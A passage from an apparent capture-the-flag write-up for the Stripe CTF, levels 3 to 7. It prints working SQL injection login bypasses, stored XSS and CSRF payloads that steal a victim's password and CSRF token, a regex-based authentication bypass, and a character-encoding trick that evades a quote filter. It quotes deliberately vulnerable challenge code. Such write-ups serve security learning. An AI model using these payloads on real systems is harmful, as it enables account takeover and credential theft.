</span><span class='line'><span class="s"> WHERE username = '{0}' LIMIT 1"""</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">username</span><span class="p">)</span>
</span><span class='line'><span class="n">cursor</span><span class="o">.</span><span class="n">execute</span><span class="p">(</span><span class="n">query</span><span class="p">)</span>
</span><span class='line'>
</span><span class='line'><span class="n">res</span> <span class="o">=</span> <span class="n">cursor</span><span class="o">.</span><span class="n">fetchone</span><span class="p">()</span>
</span><span class='line'>
</span><span class='line'><span class="k">if</span> <span class="ow">not</span> <span class="n">res</span><span class="p">:</span>
</span><span class='line'> <span class="k">return</span> <span class="s">"There's no such user {0}!</span><span class="se">\n</span><span class="s">"</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">username</span><span class="p">)</span>
</span><span class='line'><span class="n">user_id</span><span class="p">,</span> <span class="n">password_hash</span><span class="p">,</span> <span class="n">salt</span> <span class="o">=</span> <span class="n">res</span>
</span><span class='line'><span class="n">calculated_hash</span> <span class="o">=</span> <span class="n">hashlib</span><span class="o">.</span><span class="n">sha256</span><span class="p">(</span><span class="n">password</span> <span class="o">+</span> <span class="n">salt</span><span class="p">)</span>
</span><span class='line'>
</span><span class='line'><span class="k">if</span> <span class="n">calculated_hash</span><span class="o">.</span><span class="n">hexdigest</span><span class="p">()</span> <span class="o">!=</span> <span class="n">password_hash</span><span class="p">:</span>
</span><span class='line'> <span class="k">return</span> <span class="s">"That's not the password for {0}!</span><span class="se">\n</span><span class="s">"</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">username</span><span class="p">)</span>
</span><span class='line'><span class="n">flask</span><span class="o">.</span><span class="n">session</span><span class="p">[</span><span class="s">'user_id'</span><span class="p">]</span> <span class="o">=</span> <span class="n">user_id</span>
</span></code></pre></td></tr></table></div></figure>
<p>To log in as our target user, we need the <code>password_hash</code> from the database to match our supplied password salted and hashed.</p>
<p>Using a SQL injection, we can cause the query to return our precomputed values as the <code>password_hash</code> of a given user. When we try to log in with the username <code>a' UNION SELECT ID, HASH, SALT;--</code>, the SQL query becomes <code>SELECT id, password_hash, salt FROM users WHERE username = 'a' UNION SELECT ID, HASH, SALT</code></p>
<p>Since there is no user ‘a’, the above will return one row, which contains the id, password hash, and salt that we supply. We pick an arbitrary password and salt, compute the hash, and use that to be able to log in as any user. Logging in as user 3 will give the password to the next level (the other users contain the solution to P=NP and the like).</p>
<h2>Level 4</h2>
<p>Level 4 is a karma trading game. You register as a user, and then can transfer karma to other users in the game. To keep things honest, if a user transfers you karma, you also get to see their password.</p>
<p><img src="/assets/images/stripe-ctf/level4.png" alt="Level 4" /></p>
<p>The user karma_fountain’s password is the password to the next level, so if karma_fountain gives you karma, you also get the password to the next level.</p>
<p>We have to force karma_fountain to transfer us some karma. Inducing a user on a social site to take some action is usually a job for XSS + CSRF, we have to inject some javascript that karma_trader’s browser will execute that will send a request to transfer us some karma. By the way, I am very impressed at the Stripe team for automating the process they used to grade the XSS challenges. Greg Brockman has a blog <a href="https://blog.gregbrockman.com/2012/08/system-design-stripe-capture-the-flag/">post</a> that addresses how they did this along with some other insights into building a CTF at this scale.</p>
<p>The only user supplied value that other users can see is our password after we give them karma, so we have to inject into that. Registering a user with the username ‘attacker’ and the password <code><script>$.post("transfer", {"to" : "attacker", "amount":10})</script></code> will cause any user we give karma to see our password, have their browser execute the javascript within it, and transfer us some karma too.</p>
<p>Transferring karma to karma_trader from attacker completes the challenge:</p>
<p><img src="/assets/images/stripe-ctf/level4-solved.png" alt="Level 4 Solved" /></p>
<h2>Level 5</h2>
<p>Level 5 is DomainAuthenticator, a federated login service. You supply a username, password, and pingback URL. If the pingback URL returns ‘AUTHENTICATED’ when supplied with your credentials, you are authenticated for the domain of the pingback URL. If you can get authenticated for the level 5 domain, you can go on to the next challenge.</p>
<p>The two things to notice in the code are how the user input is handled on POST requests:</p>
<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
</pre></td><td class='code'><pre><code class='ruby'><span class='line'><span class="n">post</span> <span class="s1">'/*'</span> <span class="k">do</span>
</span><span class='line'> <span class="n">pingback</span> <span class="o">=</span> <span class="n">params</span><span class="o">[</span><span class="ss">:pingback</span><span class="o">]</span>
</span><span class='line'> <span class="n">username</span> <span class="o">=</span> <span class="n">params</span><span class="o">[</span><span class="ss">:username</span><span class="o">]</span>
</span><span class='line'> <span class="n">password</span> <span class="o">=</span> <span class="n">params</span><span class="o">[</span><span class="ss">:password</span><span class="o">]</span>
</span><span class='line'> <span class="c1"># ...</span>
</span></code></pre></td></tr></table></div></figure>
<p>and how authentication is validated</p>
<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
</pre></td><td class='code'><pre><code class='ruby'><span class='line'><span class="k">def</span> <span class="nf">authenticated?</span><span class="p">(</span><span class="n">body</span><span class="p">)</span>
</span><span class='line'> <span class="n">body</span> <span class="o">=~</span> <span class="sr">/[^\w]AUTHENTICATED[^\w]*$/</span>
</span><span class='line'><span class="k">end</span>
</span></code></pre></td></tr></table></div></figure>
<p>The first obvious move is to get authenticated somewhere. The DomainAuthenticator server is limited to making outbound network requests only to other stripe servers, but luckily we can make arbitrary uploads to another stripe CTF server — level 2. Simply uploading a file that contains the string “AUTHENTICATED” to the level 2 upload field and using that as a pingback URL will allow us to authenticate with the level 2 domain with any username/password.</p>
<p>After authenticating, stripe responds with: “Remote server responded with: AUTHENTICATED. Authenticated as [email protected]!” That got us in as a user of level02-2.stripe-ctf.com, but we want to be logged in as a user of level05-2.stripe-ctf.com. The key observation here is that the regular expression used in <code>authenticated</code> matches per line, so we only need one of the lines of the response body to match. If we make sure that the file we uploaded to level2 contains a new line after AUTHENTICATED, the response after authentication will be “Remote server responded with: AUTHENTICATED\n. Authenticated as [email protected]!”, which will match that regular expression. Since that response is coming from level05-2.stripe-ctf.com, that’s enough to get us in.</p>
<p>The <code>params</code> variable in Sinatra contains both POSTed data and values in the query string, so we can specify a pingback in the URL and it will still be picked up in a POST request. I uploaded a file that contains the string “AUTHENTICATED\n” to level 2 at the URL <code>https://level02-2.stripe-ctf.com/user-iinxtuvzks/uploads/auth</code>, and then my pingback URL was <code>https://level05-2.stripe-ctf.com/user-rpyvuiltkk/?pingback=https://level02-2.stripe-ctf.com/user-iinxtuvzks/uploads/auth</code>. This causes the body of a response on the level-5-2.stripe-ctf.com domain to match the regex in <code>authenticated?</code>, and I am authenticated on the level 5 domain.</p>
<p>As a sidenote, after solving this challenge the first time, when I came back to gather screenshots, I found that I could authenticate to the level 5 domain, but was no longer shown the password:</p>
<p><img src="/assets/images/stripe-ctf/level5-solved.png" alt="Level 5 Solved?" /></p>
<p>If anyone knows why I didn’t see a password the second time around, please tell me!</p>
<h2>Level 6</h2>
<p>Level 6 is a follow-up to Karma Trader from level 4. You are able to sign up for Streamer, a Twitter-like service, and post messages. The target user is ‘level07-password-holder’ whose password is the password for the next level.</p>
<p>The target user’s first post gives a hint about what to do:</p>
<blockquote><p>One great feature of Streamer is that no password resets are needed. I, for
example, have a very complicated password (including apostrophes, quotes, you
name it!). But I remember it by clicking my name on the right-hand side and
seeing what my password is.</p></blockquote>
<p>That is, a user may view their own password in the user info page:</p>
<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
</pre></td><td class='code'><pre><code class='html'><span class='line'><span class="nt"><div</span> <span class="na">class=</span><span class="s">'row'</span><span class="nt">></span>
</span><span class='line'> <span class="nt"><div</span> <span class="na">class=</span><span class="s">'span12'</span><span class="nt">></span>
</span><span class='line'> <span class="nt"><h3></span>User Information<span class="nt"></h3></span>
</span><span class='line'> <span class="nt"><table</span> <span class="na">class=</span><span class="s">'table table-condensed'</span><span class="nt">></span>
</span><span class='line'> <span class="nt"><tr></span>
</span><span class='line'> <span class="nt"><th></span>Username:<span class="nt"></th></span>
</span><span class='line'> <span class="nt"><td></span><span class="err"><</span>%= @username %><span class="nt"></td></span>
</span><span class='line'> <span class="nt"></tr></span>
</span><span class='line'> <span class="nt"><tr></span>
</span><span class='line'> <span class="nt"><th></span>Password:<span class="nt"></th></span>
</span><span class='line'> <span class="nt"><td></span><span class="err"><</span>%= @password %><span class="nt"></td></span>
</span><span class='line'> <span class="nt"></tr></span>
</span><span class='line'> <span class="nt"></table></span>
</span><span class='line'> <span class="nt"></div></span>
</span><span class='line'><span class="nt"></div></span>
</span></code></pre></td></tr></table></div></figure>
<p>Once again, we need to use XSS+CSRF to cause the target user to reveal their password. In this case we will post a message that contains an XSS vector that causes the viewer to get their password from the user info page and post it as a message.</p>
<p>The injection vector should cause the victim to grab the password from the user info page and post a message. It will look something like this:</p>
<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
</pre></td><td class='code'><pre><code class='javascript'><span class='line'><span class="nx">$</span><span class="p">.</span><span class="nx">get</span><span class="p">(</span><span class="s1">'user_info'</span><span class="p">,</span><span class="kd">function</span> <span class="p">(</span><span class="nx">data</span><span class="p">)</span> <span class="p">{</span>
</span><span class='line'> <span class="nx">$</span><span class="p">.</span><span class="nx">post</span><span class="p">(</span><span class="s1">'ajax/posts'</span><span class="p">,</span>
</span><span class='line'> <span class="p">{</span> <span class="nx">title</span><span class="o">:</span> <span class="nx">$</span><span class="p">(</span><span class="s1">'td'</span><span class="p">,</span> <span class="nx">data</span><span class="p">)[</span><span class="mi">1</span><span class="p">].</span><span class="nx">innerHTML</span><span class="p">,</span>
</span><span class='line'> <span class="nx">body</span><span class="o">:</span> <span class="s1">'EMPTY'</span>
</span><span class='line'> <span class="p">});</span>
</span><span class='line'><span class="p">});</span>
</span></code></pre></td></tr></table></div></figure>
<p>The second <code><td></code> tag we select above is the one that contains the user’s password in the user info page.</p>
<p>Where are we going to inject into? The ERB template used to display the messages loads all the posts in JSON format as an object inside a script tag. The contents of that object are then added to the DOM using javascript.</p>
<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
</pre></td><td class='code'><pre><code class='html'><span class='line'><span class="nt"><script></span>
</span><span class='line'> <span class="kd">var</span> <span class="nx">username</span> <span class="o">=</span> <span class="s2">"<%= @username %>"</span><span class="p">;</span>
</span><span class='line'> <span class="kd">var</span> <span class="nx">post_data</span> <span class="o">=</span> <span class="o"><%=</span> <span class="err">@</span><span class="nx">posts</span><span class="p">.</span><span class="nx">to_json</span> <span class="o">%></span><span class="p">;</span>
</span><span class='line'>
</span><span class='line'> <span class="kd">function</span> <span class="nx">escapeHTML</span><span class="p">(</span><span class="nx">val</span><span class="p">)</span> <span class="p">{</span>
</span><span class='line'> <span class="k">return</span> <span class="nx">$</span><span class="p">(</span><span class="s1">'<div/>'</span><span class="p">).</span><span class="nx">text</span><span class="p">(</span><span class="nx">val</span><span class="p">).</span><span class="nx">html</span><span class="p">();</span>
</span><span class='line'> <span class="p">}</span>
</span><span class='line'> <span class="kd">function</span> <span class="nx">addPost</span><span class="p">(</span><span class="nx">item</span><span class="p">)</span> <span class="p">{</span>
</span><span class='line'> <span class="kd">var</span> <span class="nx">new_element</span> <span class="o">=</span> <span class="s1">'<tr><th>'</span> <span class="o">+</span> <span class="nx">escapeHTML</span><span class="p">(</span><span class="nx">item</span><span class="p">[</span><span class="s1">'user'</span><span class="p">])</span> <span class="o">+</span>
</span><span class='line'> <span class="s1">'</th><td><h4>'</span> <span class="o">+</span> <span class="nx">escapeHTML</span><span class="p">(</span><span class="nx">item</span><span class="p">[</span><span class="s1">'title'</span><span class="p">])</span> <span class="o">+</span> <span class="s1">'</h4>'</span> <span class="o">+</span>
</span><span class='line'> <span class="nx">escapeHTML</span><span class="p">(</span><span class="nx">item</span><span class="p">[</span><span class="s1">'body'</span><span class="p">])</span> <span class="o">+</span> <span class="s1">'</td></tr>'</span><span class="p">;</span>
</span><span class='line'> <span class="nx">$</span><span class="p">(</span><span class="s1">'#posts > tbody:last'</span><span class="p">).</span><span class="nx">prepend</span><span class="p">(</span><span class="nx">new_element</span><span class="p">);</span>
</span><span class='line'> <span class="p">}</span>
</span><span class='line'>
</span><span class='line'> <span class="k">for</span><span class="p">(</span><span class="kd">var</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o"><</span> <span class="nx">post_data</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
</span><span class='line'> <span class="kd">var</span> <span class="nx">item</span> <span class="o">=</span> <span class="nx">post_data</span><span class="p">[</span><span class="nx">i</span><span class="p">];</span>
</span><span class='line'> <span class="nx">addPost</span><span class="p">(</span><span class="nx">item</span><span class="p">);</span>
</span><span class='line'> <span class="p">};</span>
</span><span class='line'><span class="nt"></script></span>
</span></code></pre></td></tr></table></div></figure>
<p>This is where our injection will happen. We will post a message that contains a closing and then opening script tag. So if we post a message with the body <code></script><script>$.get('user_info',function (data) {$.post('ajax/posts', {title:$('td', data)[1].innerHTML, body:'EMPTY'})});</script><script></code> we get something like</p>
<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
</pre></td><td class='code'><pre><code class='html'><span class='line'><span class="nt"><script></span>
</span><span class='line'> <span class="kd">var</span> <span class="nx">username</span> <span class="o">=</span> <span class="s2">"USERNAME"</span><span class="p">;</span>
</span><span class='line'> <span class="kd">var</span> <span class="nx">post_data</span> <span class="o">=</span> <span class="p">[{</span><span class="s2">"id"</span><span class="o">:</span> <span class="mi">1</span><span class="p">,</span> <span class="s2">"title"</span><span class="o">:</span> <span class="s2">"Some title"</span><span class="p">,</span> <span class="s2">"body"</span><span class="o">:</span> <span class="err">"</span><span class="nt"></script><script></span><span class="nx">$</span><span class="p">.</span><span class="nx">get</span><span class="p">(</span><span class="s1">'user_info'</span><span class="p">,</span><span class="kd">function</span> <span class="p">(</span><span class="nx">data</span><span class="p">)</span> <span class="p">{</span><span class="nx">$</span><span class="p">.</span><span class="nx">post</span><span class="p">(</span><span class="s1">'ajax/posts'</span><span class="p">,</span> <span class="p">{</span><span class="nx">title</span><span class="o">:</span><span class="nx">$</span><span class="p">(</span><span class="s1">'td'</span><span class="p">,</span> <span class="nx">data</span><span class="p">)[</span><span class="mi">1</span><span class="p">].</span><span class="nx">innerHTML</span><span class="p">,</span> <span class="nx">body</span><span class="o">:</span><span class="s1">'EMPTY'</span><span class="p">})});</span><span class="nt"></script><script></span><span class="p">[</span><span class="nx">THE</span> <span class="nx">REST</span> <span class="nx">OF</span> <span class="nx">THE</span> <span class="nx">LEGITIMATE</span> <span class="nx">CODE</span><span class="p">]</span><span class="nt"></script></span>
</span></code></pre></td></tr></table></div></figure>
<p>The syntax highlighting above should make it clear that our javascript will be executed as such.</p>
<p>There are still a couple of hurdles to get through. One is that for security purposes, all user input is filtered for quotes:</p>
<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
</pre></td><td class='code'><pre><code class='ruby'><span class='line'><span class="k">def</span> <span class="nc">self</span><span class="o">.</span><span class="nf">safe_insert</span><span class="p">(</span><span class="n">table</span><span class="p">,</span> <span class="n">key_values</span><span class="p">)</span>
</span><span class='line'> <span class="n">key_values</span><span class="o">.</span><span class="n">each</span> <span class="k">do</span> <span class="o">|</span><span class="n">key</span><span class="p">,</span> <span class="n">value</span><span class="o">|</span>
</span><span class='line'> <span class="c1"># Just in case people try to exfiltrate</span>
</span><span class='line'> <span class="c1"># level07-password-holder's password</span>
</span><span class='line'> <span class="k">if</span> <span class="n">value</span><span class="o">.</span><span class="n">kind_of?</span><span class="p">(</span><span class="nb">String</span><span class="p">)</span> <span class="o">&&</span>
</span><span class='line'> <span class="p">(</span><span class="n">value</span><span class="o">.</span><span class="n">include?</span><span class="p">(</span><span class="s1">'"'</span><span class="p">)</span> <span class="o">||</span> <span class="n">value</span><span class="o">.</span><span class="n">include?</span><span class="p">(</span><span class="s2">"'"</span><span class="p">))</span>
</span><span class='line'> <span class="k">raise</span> <span class="s2">"Value has unsafe characters"</span>
</span><span class='line'> <span class="k">end</span>
</span><span class='line'><span class="k">end</span>
</span></code></pre></td></tr></table></div></figure>
<p>Another is that in order to prevent CSRF attackers, there is a CSRF token that is required with every request.</p>
<p>Let’s leave the quotes issue for now and get around the CSRF token. We can get a correct CSRF token the same way that we got the user’s password, by selecting the HTML element that contains the CSRF token. The token is contained in a hidden input fields, so our injection becomes:</p>
<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
</pre></td><td class='code'><pre><code class='html'><span class='line'><span class="nt"></script><script></span>
</span><span class='line'> <span class="nx">$</span><span class="p">.</span><span class="nx">get</span><span class="p">(</span><span class="s1">'user_info'</span><span class="p">,</span> <span class="kd">function</span> <span class="p">(</span><span class="nx">data</span><span class="p">)</span> <span class="p">{</span>
</span><span class='line'> <span class="nx">$</span><span class="p">.</span><span class="nx">post</span><span class="p">(</span><span class="s1">'ajax/posts'</span><span class="p">,</span>
</span><span class='line'> <span class="p">{</span>
</span><span class='line'> <span class="nx">title</span><span class="o">:</span><span class="nx">$</span><span class="p">(</span><span class="s1">'td'</span><span class="p">,</span> <span class="nx">data</span><span class="p">)[</span><span class="mi">1</span><span class="p">].</span><span class="nx">innerHTML</span><span class="p">,</span>
</span><span class='line'> <span class="nx">body</span><span class="o">:</span><span class="s1">'EMPTY'</span><span class="p">,</span>
</span><span class='line'> <span class="nx">_csrf</span><span class="o">:</span><span class="nx">$</span><span class="p">(</span><span class="s1">'input[name="_csrf"]'</span><span class="p">)</span>
</span><span class='line'> <span class="p">});</span>
</span><span class='line'> <span class="p">});</span>
</span><span class='line'><span class="nt"></script><script></span>
</span></code></pre></td></tr></table></div></figure>
<p>This of course won’t work because the quote filter will prevent us from posting a message will all of those quotes. We can get around this by encoding each character in our javascript as its ASCII value and then running it like <code>eval(String.fromCharCode(67,61//...)</code>. I used <a href="http://www.wocares.com/noquote.php">this</a> utility to help me encode everything.</p>
<p>The above payload, when encoded with <code>String.fromCharCode</code> still doesn’t work, and it took me a long time to figure out why.</p>
<p>As it turns out, the target user’s first post gives a big hint</p>
<blockquote><p>One great feature of Streamer is that no password resets are needed. I, for
example, have a very complicated password <strong>(including apostrophes, quotes, you
name it!)</strong>. But I remember it by clicking my name on the right-hand side and
seeing what my password is.</p></blockquote>
<p>The password contains some quotes so the target user won’t be able to post it in a message. We have to replace the quotes with something else. The correct javascript is</p>
<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
</pre></td><td class='code'><pre><code class='javascript'><span class='line'><span class="nx">$</span><span class="p">.</span><span class="nx">get</span><span class="p">(</span><span class="s1">'user_info'</span><span class="p">,</span> <span class="kd">function</span> <span class="p">(</span><span class="nx">data</span><span class="p">)</span> <span class="p">{</span>
</span><span class='line'> <span class="nx">$</span><span class="p">.</span><span class="nx">post</span><span class="p">(</span><span class="s1">'ajax/posts'</span><span class="p">,</span>
</span><span class='line'> <span class="p">{</span>
</span><span class='line'> <span class="nx">title</span><span class="o">:</span><span class="nx">$</span><span class="p">(</span><span class="s1">'td'</span><span class="p">,</span> <span class="nx">data</span><span class="p">)[</span><span class="mi">1</span><span class="p">].</span><span class="nx">innerHTML</span><span class="p">.</span><span class="nx">replace</span><span class="p">(</span><span class="sr">/"/g</span><span class="p">,</span> <span class="s2">"&quot;"</span><span class="p">),</span>
</span><span class='line'> <span class="nx">body</span><span class="o">:</span><span class="s1">'EMPTY'</span><span class="p">,</span>
</span><span class='line'> <span class="nx">_csrf</span><span class="o">:</span><span class="nx">$</span><span class="p">(</span><span class="s1">'input[name="_csrf"]'</span><span class="p">)</span>
</span><span class='line'> <span class="p">});</span>
</span><span class='line'><span class="p">});</span>
</span></code></pre></td></tr></table></div></figure>
<p>And when the above is encoded with <code>String.fromCharCode</code> and put inside a <code><script></code> tag, the target user will post their password when viewing our post:</p>
<p><img src="/assets/images/stripe-ctf/level6-solved.png" alt="Level 6 Solved" /></p>
<h2>Level 7</h2>
<p>Level 7 is WaffleCopter, an API for the delivery of waffles by helicopter. When you log in, you’re given a secret key. You use this to sign a message ordering a delivery of waffles to your location. Winning requires you to order one of the decadent Liège Waffles that the account you are given doesn’t have access to.</p>
<p>An order is a post request with a signature, and you can view your previous orders and the orders of other users by navigating to “/logs/USERID”.</p>
<p><img src="/assets/images/stripe-ctf/level7-orders-1.png" alt="Level 7 Orders" /></p>